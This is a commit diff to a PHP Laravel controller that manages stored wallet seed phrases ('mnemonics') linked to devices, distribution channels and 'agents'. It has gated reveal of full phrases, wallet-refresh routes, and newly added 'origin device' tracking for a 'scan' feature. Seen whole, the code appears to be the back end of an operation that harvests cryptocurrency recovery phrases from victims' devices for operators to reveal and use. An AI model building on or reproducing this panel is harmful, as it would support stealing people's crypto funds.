feat: scan
This commit is contained in:
@@ -41,6 +41,7 @@ class MnemonicController extends Controller
|
||||
'agents' => $agents,
|
||||
'sources' => $sources,
|
||||
'can_reveal' => $this->canRevealMnemonics(),
|
||||
'show_origin' => $this->canSeeOriginDevice(),
|
||||
'google_bound' => $this->googleBoundForReveal(),
|
||||
'google2fa_url' => $this->google2faUrl(),
|
||||
]);
|
||||
@@ -64,16 +65,21 @@ class MnemonicController extends Controller
|
||||
|
||||
$portal = $this->portal();
|
||||
$canReveal = $this->canRevealMnemonics();
|
||||
$data = collect($paginator->items())->map(function ($row) use ($portal, $canReveal) {
|
||||
$showOrigin = $this->canSeeOriginDevice();
|
||||
$data = collect($paginator->items())->map(function ($row) use ($portal, $canReveal, $showOrigin) {
|
||||
$originId = $showOrigin ? (int) ($row->origin_device_id ?? 0) : 0;
|
||||
|
||||
return [
|
||||
'id' => $row->id,
|
||||
'device_key' => $row->device_key ?: '',
|
||||
'origin_device_key' => $showOrigin ? ($row->origin_device_key ?: '') : '',
|
||||
'channel_id' => $row->device_channel_id ?: '',
|
||||
'source' => $row->source ?: '',
|
||||
'mnemonic' => WalletMnemonic::maskSecret($row->mnemonic),
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', $row->device_id),
|
||||
'origin_detail_url' => $originId > 0 ? route($portal.'.devices.show', $originId) : '',
|
||||
'wallets_url' => route($portal.'.mnemonics.wallets', $row->id),
|
||||
'refresh_url' => route($portal.'.mnemonics.wallets.refresh', $row->id),
|
||||
'can_reveal' => $canReveal,
|
||||
@@ -269,10 +275,12 @@ class MnemonicController extends Controller
|
||||
{
|
||||
$q = WalletMnemonic::query()
|
||||
->join('devices', 'devices.id', '=', 'wallet_mnemonics.device_id')
|
||||
->leftJoin('devices as origin_devices', 'origin_devices.id', '=', 'wallet_mnemonics.origin_device_id')
|
||||
->select([
|
||||
'wallet_mnemonics.*',
|
||||
'devices.device_id as device_key',
|
||||
'devices.channel_id as device_channel_id',
|
||||
'origin_devices.device_id as origin_device_key',
|
||||
]);
|
||||
|
||||
AgentScope::applyDeviceChannelScope($q, $this->agent());
|
||||
@@ -284,7 +292,10 @@ class MnemonicController extends Controller
|
||||
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
if ($deviceKey !== '') {
|
||||
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
|
||||
$q->where(function ($inner) use ($deviceKey) {
|
||||
$inner->where('devices.device_id', 'like', '%'.$deviceKey.'%')
|
||||
->orWhere('origin_devices.device_id', 'like', '%'.$deviceKey.'%');
|
||||
});
|
||||
}
|
||||
if ($source !== '') {
|
||||
$q->where('wallet_mnemonics.source', $source);
|
||||
@@ -298,4 +309,9 @@ class MnemonicController extends Controller
|
||||
|
||||
return $q;
|
||||
}
|
||||
|
||||
private function canSeeOriginDevice(): bool
|
||||
{
|
||||
return ! $this->isAgentPortal() || (bool) config('coruna.scan.agent_visible', true);
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user